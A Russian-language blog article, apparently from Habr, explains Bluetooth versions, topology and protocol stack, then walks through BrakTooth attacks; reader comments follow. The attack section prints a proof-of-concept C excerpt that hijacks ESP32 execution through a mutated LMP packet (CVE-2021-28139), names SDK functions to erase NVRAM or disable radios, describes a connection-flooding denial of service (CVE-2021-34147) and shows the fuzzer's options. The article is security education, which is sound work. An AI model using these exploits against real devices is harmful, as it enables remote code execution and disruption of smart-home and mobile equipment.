Английское слово Bluetooth -- буквальный перевод прозвища короля викингов Харальда I Синезубого. Он правил на территории современных Дании и части Норвегии в X веке и вошел в историю как правитель, который объединил враждовавшие датские племена в единое королевство.

Подразумевается, что Bluetooth делает то же самое с протоколами связи, объединяя их в один универсальный стандарт.

Сегодня практически каждый из нас использует далеко не одно беспроводное устройство, начиная от наушников, умных часов и IoT-устройств, и заканчивая автоматизированными системами на промышленных предприятиях.

Но задумывался ли кто-то над тем:

  • как работает данная технология,

  • как устройства общаются друг с другом,

  • как происходит обмен информацией,

  • и, что особенно актуально сейчас, -- насколько эта технология безопасна?

В этой статье попробуем ответить на поставленные вопросы.

  1. Что за "синий зуб"

  2. Версии Bluetooth

  3. Архитектура

  4. Как атаковать

Что за "синий зуб"

Bluetooth -- производственная спецификация беспроводных персональных сетей.

Bluetooth обеспечивает обмен информацией между такими устройствами, как персональные компьютеры, мобильные телефоны, принтеры, фотоаппараты, наушники, гарнитуры, работающие на надежной, бесплатной и повсеместно доступной радиочастоте для ближней связи.

Принцип действия основан на использовании радиоволн. Радиосвязь Bluetooth осуществляется в ISM-диапазоне (Industry, Science and Medicine), который используется в различных бытовых приборах и беспроводных сетях.

Частоты работы Bluetooth: 2,402-2,48 ГГц.

Версии Bluetooth

Технология Bluetooth появилась без малого 25 лет назад, и за такой промежуток времени претерпела огромное количество изменений.

Например:

  • быстрое подключение и обнаружение,

  • увеличение скорости передачи данных,

  • повышение стойкости к радиопомехам,

  • повышение защищенности соединения и др.

Но в истории развития этой технологии реальным скачком стала версия Bluetooth 4.0, в которой был представлен Bluetooth с низким энергопотреблением (BLE). До появления BLE активно развивался Bluetooth Classic (BR/EDR), который используется в беспроводных громкоговорителях, автомобильных информационно-развлекательных системах и наушниках.

В чем же заключался этот прорыв?

Bluetooth Classic VS Bluetooth Low Energy

Существует большая разница между "классическим" Bluetooth и Bluetooth с низким энергопотреблением с точки зрения технических спецификаций, реализации и типов приложений, для которых они предназначены. Кроме того, они несовместимы друг с другом.

BT classic:

  • используется для потоковых приложений, таких как трансляция аудио- и видео-контента и непрерывная передача данных;

  • не оптимизирован для низкого энергопотребления, но поддерживает большую скорость передачи (максимум 3 МБит/с);

  • использует 79 радиоканалов;

  • обнаружение происходит на 32 каналах.

BLE:

  • используется в сенсорах и для управления устройствами и приложениями, не требующими передачи больших объемов данных (максимум 2 МБит/с);

  • предназначен для применения в малопотребляющих устройствах с большими интервалами между передачей данных;

  • использует 40 радиоканалов;

  • обнаружение происходит на 3 каналах, что приводит к более быстрому обнаружению и установке соединения.

Ниже представлена сводная таблица с основными отличиями

BT classic

BLE

Передача большого объема данных

+

-

Стриминг контента

+

-/+

Радиус действия

-

+

Энергопотребление

-

+

На данный момент последняя версия Bluetooth -- 5.3, но сейчас она мало представлена в устройствах.

Совсем недавно Bluetooth SIG завершила разработку спецификации Bluetooth LE Audio, которая позволит сделать беспроводные аудиоустройства более энергоэффективными, поскольку они будут использовать BLE вместо BT classic. Ожидается, что LE Audio появится в Android 13 и iOS 16.
Вот ролик про все прелести данной технологии.

Архитектура

Топология сети

BT classic

Все устройства в сети, образующие пикосеть, делятся на ведущие (master) и подчиненные (slave).

Основные принципы:

  • Обмен информацией может осуществляться только между ведущим и подчиненным устройствами, при этом каждое устройство может быть как ведущим, так и подчиненным.

  • Основным элементом организации сетей Bluetooth является пикосеть, состоящая из одного ведущего устройства и от 1 до 7 активных подчиненных устройств.

  • В одну пикосеть может входить неограниченное количество устройств, находящихся в неактивном режиме.

  • Подчиненное устройство может общаться только с ведущим, причем только тогда, когда это разрешает ведущее устройство.

  • В каждый момент времени обмен данными может идти только между двумя устройствами в одном направлении.

  • Любое устройство одной пикосети может также входить в другую пикосеть в качестве как подчиненного, так и ведущего.

BLE

BLE также поддерживает модель пикосети BT classic (изображения 1, 2), о которой было рассказано выше.

Но даже тут BLE привнес свои нововведения: новую топологию сети -- Mesh. Цель Mesh -- увеличение дальности связи сетей BLE и обеспечение поддержка индустриальных приложений, использующих технологию BLE. С Bluetooth Mesh устройства могут работать в ячеистой топологии “многие ко многим”.

Топология mesh-сети дает два важных преимущества:

  • увеличенная дальность связи.

    Участники сети могут ретранслировать данные для передачи устройствам, находящимся на большем расстояние от передатчика, размер сети и количество устройств в них могут быть значительно увеличены.

  • способность к самовосстановлению.

    Если один из элементов сети выйдет из строя, остальные продолжат работу и смогут передавать данные друг другу.

Bluetooth Mesh -- это отдельный стандарт с своей спецификацией, стеком протоколов и т.д. Поэтому сегодня мы концентрироваться на нем не будем -- он заслуживает отдельного внимания.

Стек протоколов

Чтобы лучше понимать, как именно атаковать данную технологию, необходимо знать ее стек протоколов и спецификацию.

Как уже было упомянуто, BT classic и BLE -- это фактически два разных стандарта, отличающихся аппаратно и несовместимых друг с другом.
Принципиальные различия этих стандартов кроются именно в стеке протоколов, которые представлены ниже.

Поэтому все устройства Bluetooth могут быть одним из следующих типов:

  • одиночный режим — поддерживает профиль BR/EDR или LE.

  • двойной режим — поддерживает профили BR/EDR и LE.

BT classic

Поскольку здесь мы сконцентрируемся на атаках на "классическую" версию Bluetooth, придется более подробно разобраться в его устройстве.

Для большего понимания будем использовать сетевую модель OSI как референсную.

  • уровни BR/EDR Radio и Baseband и Link Control стека Bluetooth (BR/EDR) сопоставляются с физическим уровнем модели OSI;

  • уровни Link Manager Protocol (LMP), L2CAP, RFCOMM и PPP стека Bluetooth (BR/EDR) соответствуют канальному уровню OSI;

  • уровни UDP, TCP и IP стека Bluetooth (BR/EDR) сопоставляются с комбинированным: сетевым, транспортным и сеансовым уровнями модели OSI;

  • на прикладном уровне -- однозначное сопоставление.

Как можно заметить, некоторые протоколы, используемые Bluetooth, применяются и в других областях IT. В целом, их можно поделить на группы:

  • внутренние (основные) протоколы;

  • протоколы контроля телефонии;

  • протокол кабельной замены;

  • адаптированные протоколы.

Внутренние протоколы образуют так называемое ядро системы Bluetooth и формируют пятиуровневый стек, состоящий из следующих элементов:

  • BR/EDR Radio описывает детали радиоинтерфейса (используемые частоты, тип модуляции, мощность передачи).

  • Baseband и Link Control описывает некоторые функции физического уровня и функции управления доступом к среде (установление соединения, распределение временных интервалов, кодирование/декодирование аудиопотока, аутентификация и шифрование).

  • Link Manager Protocol (LMP) отвечает за установление логического канала связи между устройствами Bluetooth и его текущее администрирование (аутентификация, шифрование), согласование размеров пакетов, параметров качества передачи.

  • Logical Link Control and Adaptation Protocol (L2CAP) адаптирует протоколы высших уровней к уровню передачи в базовой полосе частот.

  • Service Discovery Protocol (SDP) служит для того, чтобы приложение запрашивало информацию о службах, предоставляемых устройством Bluetooth или через него, и их характеристиках.

Как атаковать

Атак на Bluetooth достаточно много, и они могут быть направлены на разные его спецификации, о которых шла речь ранее. Есть отличная репа, в которой собраны многие исследования, связанные с безопасностью Bluetooth.

На данный момент самым актуальным исследованием является Braktooth от ASSET Research Group. Сейчас опубликованы не только PoC и на найденные уязвимости, но и создан полноценный фреймворк, который можно использовать в собственных исследованиях.

Braktooth

BrakTooth -- семейство уязвимостей безопасности в стеке BT, которые варьируются от отказа в обслуживании (DoS) и взаимоблокировки через сбой в прошивке в обычном оборудовании до выполнения произвольного кода (ACE) в некоторых IoT-устройствах. Было оценено 13 Bluetooth-устройств от 11 вендоров и обнаружено в общей сложности 16 новых уязвимостей безопасности.

Вот список протестированных чипов. Как можно заметить, тут представлены очень актуальные компоненты, которые используется в топовых мобильных устройствах.

Начало атаки

Для воспроизведения атаки нам потребуется:

  1. Linux (на хосте или VM)

  2. плата ESP32 (ESP-WROVER-KIT)

  3. специальная прошивка для запуска инструмента PoC.

Инструкция про прошивке платы представлена на гитхабе. Никаких проблем лично я не испытал.

После того, как на плату будет установлена соответствующая прошивка, дело остается за малым. Остается найти устройство <target bdaddr>, которое будем атаковать (это можно сделать с помощью встроенного в прошивку фаззера) и выбрать соответствующий эксплоит <exploit_name>.

Теперь переходим непосредственно к атакам. Многие из них очень похожи, поэтому рассмотрим наиболее интересные из них.

Arbitrary Code Execution in IoT's (CVE-2021-28139)

Наиболее критическая уязвимость затрагивает ESP32 SoC, который используется во многих устройствах Wi-Fi и Bluetooth IoT (автоматизация промышленности, умные дома, фитнес-браслеты и т.д.)

Проблема заключалась в отсутствии проверки записи за пределы ESP32 BT-библиотеки.
Это позволяло получать мутированный LMP-пакет (LMP_feature_response_ext), с помощью которого появляется возможность для вставки восьми байт произвольных данных за пределы расширенной таблицы функций (E. Features Table). Так как прошивку целевого устройства (ESP32) довольно просто найти в глобальной сети (атакующий даже может собрать ее сам), у злоумышленника появляется возможность записать известный адрес функции JMP Addr в смещение, указанное в поле таблицы функций (Feat. Page) в мутированном LMP-пакете (LMP_feature_response_ext).
В этом случае BT-библиотека хранит указатели вызова в пределах смещения таблицы функций за пределами ее границ, и такой обратный вызов функции в конечном итоге вызывается во время соединения устройств BT, что и приводит к выполнению произвольного кода.

Пример кода:

...

static char txt[64];
int tx_post_dissection(uint8_t *pkt_buf, int pkt_length, void *p)
{
    // Look for TX feature_ext_response
    if (p && pkt_length > 5 && ((pkt_buf[4] >> 1) == 127) && (pkt_buf[5] == 0x04))
    {
        // 1 Set page to 0x62
        pkt_buf[6] = 0x62; // Page 0x62
        // 2 Set arbitrary address
        uint32_t *pc_addr = (uint32_t *)&pkt_buf[8];
        // *pc_addr = 0xDEADBEEF;
        // *pc_addr = 0x400d34d0; // start_cpu0_default
        // *pc_addr = 0x40081108; // call_start_cpu0
        *pc_addr = 0x400ebda8; // address of nvs_flash_erase - (Effect: Deadlock + NVS flushed)
        // address of nvs_flash_erase - (Effect: Deadlock + NVS flushed)
        // *pc_addr = 0x40112c94; // target firmware built/flashed via idf.py build
        // *pc_addr = 0xDEADBEEE;       // target firmware built/flashed via make
        // *(pc_addr + 1) = 0xABCDEFAB; // target firmware built/flashed via make

        snprintf(txt, sizeof(txt), "Page 0x62 sent to execute address 0x%04X!!!\n", *pc_addr);
        wd_log_y(txt);
        return 1; // Indicate that packet has been changed
    }

    return 0;
}

...

Используя эту уязвимость, можно исполнить произвольный код на SoC ESP32. Стоит отметить, что, поскольку эти устройства используются широко в разных областях, то лучше использовать команды, которые практически всегда будут включены в ESP32 SDK.

А именно:

  • удаление NVRAM -- nvs_flash_erase;

  • отключение BT или BLE -- esp_bt_controller_disable;

  • отключение Wi-Fi -- disable_wifi_agc и др.

Как и ожидалось, эта уязвимость имеет серьезные последствия, если такая атака будет применена к продуктам умного дома, которые используют данный SoC.

DoS in Laptops & Smartphones (CVE-2021-34147)

Реализация "классического" Bluetooth в стеке BT не обрабатывает должным образом прием искаженного ответа точности синхронизации LMP (LMP_timing_acc_response). Далее происходит несколько повторных подключений к целевому подчиненному устройству. Это позволяет атакующему исчерпать ресурсы BT-устройства.
Таким образом атакующий вызывает сбой Bluetooth посредством нескольких попыток отправки созданного LMP_timing_acc_response, за которым следует внезапное повторное подключение к цели со случайным BDAddress.
Примечательно, что устройство на которое будет производиться атака, не будет показывать уведомление о новом запросе на подключение.
После этого устройство либо вызывает сбой прошивки, либо отключает другие активные устройства BT. Чем быстрее будет выполнено переподключение при атаке, тем легче удастся нарушить работу других устройств BT.

Воздействие этой атаки не сохраняется после ее прекращения. Это связано с тем, что устройство, на которое производилась атака, обычно пытается восстановить подключения BT, выполняя повторные подключения к ранее отключенным устройствам. Например, в случае сбоя прошивки на Android перезапускается демон Bluetooth и повторно загружает образ прошивки.

Тем не менее, во всех случаях нормально использовать устройство во время атаки не представляется возможным, так как BT-соединение может постоянно прерываться. Атакующему нужно знать только BDAddress целевого устройства, ведь для запуска атаки не требуется аутентификация.

Дополнительные возможности фреймворка

sudo bin/bt_fuzzer --help
Bluetooth Classic Fuzzer (Baseband, LMP, L2CAP, etc)
Usage:
  BT Fuzzer [OPTION...]

      --help               Print help
      --default-config     Start with default config
      --autostart          Automatically start (default: true)
      --no-gui             Start without GUI
      --test-webview       Test GUI webview performance (requires internet)
      --live-capture       Open wireshark in live capture mode
      --exploit [=arg(=)]  Exploit Name
      --list-exploits      List all exploits
      --host arg           Host BDAddress
      --host-port arg      Host serial port name of BT Interface 
                           (ESP-WROVER-KIT)
      --random_bdaddress   Enable/Disable host BDAddress randomization
      --target arg         Target BDAddress (default: /dev/ttyUSB1)
      --target-port arg    Target serial port name to detect crashes 
                           (default: /dev/ttyUSB2)
      --target-baud arg    Target baud rate (default: 115200)
      --bounding           Enable/Disable Bounding (default: true)
      --iocap arg          IO Capabilities (default: 3)
      --authreq arg        Authentication Request flag (default: 3)
      --scan               Scan BT Targets
  • Автономная версия Wireshark для просмотра обмена данными между устройствами

  • Возможность модификации существующих эксплоитов или создание новых

В данном материале мы познакомились с технологией Bluetooth, ее спецификацией, архитектурой и актуальными атаками на нее.

Braktooth, в свою очередь, предоставляет не только уже готовый пул эксплойтов, но также является полноценным инструментом для поиска и эксплуатации новых уязвимостей.

Если вас заинтересовала данная тематика, и вы хотите глубоко разобраться в ней, то советую почитать:

  1. Awesome Bluetooth Security

  2. Bluetooth Protocol Stack

  3. Braktooth

  4. Bluetooth SIG

Комментарии (22)


  1. hard2018
    31.08.2022 05:43

    То есть можно вмешаться в уже состоявшееся подключение и вырубить , например управление обогревателем


    1. SpiderEkb
      31.08.2022 08:18
      +1

      Нет. Потому что в IoT, а уж тем более в промышленных применениях, BT используется очень мало и очень редко. Там есть свои протоколы. Сейчас в большинстве случаев используется Zigbee. Достаточно популярен (в бытовых приложения) обычный WiFi со связью через облако или WiFiDirect.

      А BT... Это для школьных поделок. Ну и всякие наушники, колонки, чайники. То, что никак не критично.

      Ну а в промышленности, там, где уровень помех очень высок, а расстояния велики, до сих пор широко распространён проводной RS485.

      Я не говорю уже о том, что обогревателем дистанционно никто управлять не будет. Это просто неграмотно. Блок управление обогревателем работает по своим алгоритмам непосредственно на обогревателе. А с центральным узлом связь нужна исключительно для мониторинга или для изменения настроек алгоритма. Нарушив связь максимум чего добьетесь - перестанете видеть текущее его состояние и не сможете изменить настройки. Но по последним настройкам он будет продолжать работать как работал. Это базовые принципы автоматизации - выход из строя центрального узла не приводит к обрушению всей сети в целом.


      1. lxsmkv
        31.08.2022 09:50

        Ну и всякие наушники, колонки, чайники. То, что никак не критично

        Клавиатуры, мыши ...

        Причем читал, что можно подменить тип устройств. Если адрес останется прежним, то материнское устройство никак на это не прореагирует. Например, были наушники, а стали клавиатура. И погнали скрипты по типу Rubber Ducky крутить.


      1. elnxl Автор
        02.09.2022 13:31
        +1

        Да, не только BT используется в IoT-устройствах и промышленности. Но в статье упор больше делался на атаки на BT, для этого необходимо сделать небольшой экскурс в технологию


    1. Vsevo10d
      01.09.2022 00:17
      +1

      Зачем обогреватели трогать, это черное хакерство. Белое хакерство - вырубать колонки младшеклассников с русским рэпчиком.


    1. elnxl Автор
      02.09.2022 13:27
      +1

      Если он работает по BT, то да
      Также ESP32, немало используется как центр управления для умного дома, например для Home Assistant. В таком случае, можно будет нарушить работу целого "умного дома".


  1. Fodin
    31.08.2022 09:55

    Расскажите мне, пожалуйста, существуют ли Bluetooth-гарнитуры, обеспечивающие дуплексную передачу речи? Купил наушники Edifier W820NB. Говорить и слушать одновременно не получается. Меня плохо слышат, я "булькаю и пропадаю". Решаю эту сложность подключением по USB, тогда все становится отлично. В комментариях на сайте ДНС пишут "Это проблема БТ, что нельзя нормально общаться в них, так во всех гарнитурах". Но стандарту уже тыща лет, ну, не должно быть таких детских проблем, особенно учитывая тот факт, что все сотовые гарнитуры на БТ работают.


    1. mikshka
      31.08.2022 10:11
      +2

      Шумодав пробовали отключать? Вообще у меня одни и те же наушники(JBL Tune 600BT) не работали нормально с одним ноутом на Windows 10 и прекрасно работают сейчас на другом с такой же виндой. И да, кстати, с линуксом проблем вообще не было.


      1. kahi4
        31.08.2022 10:35
        +1

        У меня не самые дешевые наушники, в целом меня слышно хорошо и я слышу хорошо, но есть супер раздражающая проблема -- они переключаются в какой-то другой режим с отвратительным звуком (достаточно для звонка, но музыка на фоне превращается в полифонию времен Siemens c65).

        PS: я знаю что это происходит из-за переключения кодека AAC на SCO, но всё равно не доволен этим выбором, потому что во времена, когда мы можем передать 4к видео по вайфай с достаточно маленькой задержкой, мы не можем передать дуплексное аудио на расстоянии 50 см в нормальном качестве.


      1. Fodin
        31.08.2022 16:25

        Да, пробовал. Именно разговаривать комфортно с выключенным. Не влияет.


    1. pavel_raskin
      31.08.2022 10:12

      Такая проблема на всех ОС или только с Windows?


      1. Fodin
        31.08.2022 16:24

        На Mac OS такое.
        А под виндой я не смог настроить БТ. Впрочем, я не был удивлен этому.


        1. pavel_raskin
          31.08.2022 18:24

          Согласен на Win всё ужасно с BT. В моём случае гарнитура работала идеально с Android устройствами и в Linux, но на Windows на той же машине во время работы с голосовой связью включался невообразимый по звучанию моно режим из "каменного" века.


    1. Ritan
      31.08.2022 20:10
      +1

      Коротко - нет.

      Длинно - https://habr.com/ru/post/427997/

      Передача самих данных стандаризирована профилем HSP, также описывающим
      дополнительные функции, вроде работы кнопок регулировки громкости,
      поднятия трубки и отбоя.

      К сожалению, по состоянию на 2019 год, качество передачи речи через
      Bluetooth всё ещё низкое, и непонятно, почему Bluetooth SIG с этим
      ничего не делает.


  1. lxsmkv
    31.08.2022 10:01
    +1

    Скажите, простому обывателю Блютуз наверное известен прежде всего тем, что попытки соединить два устройства, например телефон к машине, превращаются в целое приключение с неизвестным концом. Может соединится, а может и нет. Например android телевизор Bravia от Sony хоть и имеет bluetooth поддержку, но не распознает ни колонки ни наушники. Причем выборочно. Думаю подобная ситуация, возможно с другими комбинациями устройств, знакома всем не по наслышке.
    Так вот вопрос.
    Отчего в принципе происходят такие проблемы? Это неправильно запрограммирован протокол на одном из устройств? Это принципиальная проблема самого протокола?


    1. Markscheider
      31.08.2022 13:42

      Блютуз наверное известен прежде всего тем, что попытки соединить два устройства, например телефон к машине, превращаются в целое приключение с неизвестным концом. Может соединится, а может и нет.

      Вот прямо по больному. Передать файл с андроид-смартфона на тв-бокс андроид? Неа. С десктопа Win на смартфон? Через опу и с пятого раза. Так что фраза

      Bluetooth делает то же самое с протоколами связи, объединяя их в один универсальный стандарт.

      выглядит как насмешка.


    1. XMack
      31.08.2022 18:39

      Вендорлок. Это не только с bluetooth делают, но и с простым usb. У меня в машине ГУ с вендорлоком: датчики давления и диагностический модуль признает только свои (и стоят они в 15 раз дороже). На телике, когда в первый раз купил умный ТВ, пробовал скайп с usb вебкамерой. Так мне при подключении попапп был выдан с рекомендацией сходить в магазин...


    1. Vsevo10d
      01.09.2022 00:13

      У меня мало того, что при подключении телефона к андроиду в машине в колонках неприятные щелчки (и при смене трека тоже), так еще появился баг с тем, что общий уровень звука на телефоне не воспринимается и при проигрывании мультимедиа начинается с максимальной громкости. Первый раз этот баг вылез на каком-то спидметале, я чуть не родил прям за рулем.

      Наушники JBL прекрасно коннектятся к телефону и очень плохо - к компу (в компе юсб -бт свисток). Раньше надо было вручную удалить наушники, включить их, законнектить снова, и тогда все получалось. Потом вдруг появилась ошибка удаления наушников из списка блютус-устройств (я хз как это вообще), и стало лечиться это только выдергиванием-вставлением свистка.

      Это все происходит строго когда ты именно хочешь вот сейчас приконнектить наушники к компу, если просто рандомно вернуться с работы, кинуть их в прихожей и включить комп, они радостно законнектятся сами безо всяких ошибок.


    1. elnxl Автор
      02.09.2022 14:05
      +1

      Скорее всего, проблема не в самом протоколе, а в его имплементации. Возможно нет поддержки соответствующих профилей устройств.


  1. screwer
    31.08.2022 11:01

    Насколько я знаю, BLE с блютуз не имеют абсолютно ничего общего. Это inhouse разработка Nordic Semiconductor, к которой прилепили шильдик "блютуз бле" из маркетинговых соображений.


  1. LuggerFormas
    31.08.2022 14:07

    Тема различных профилей соединения не раскрыта. Родной стак BT или Bluekitchen port? Или уязвимость там ниже?


    1. elnxl Автор
      02.09.2022 14:08
      +1

      Тему профилей не раскрывал, чтобы не отходить от основной идеи стать -- атаки на Bluetooth. Так бы, акцент сместился больше сместился на обзор данной технологии.

      Уязвимость в родном стеке BT.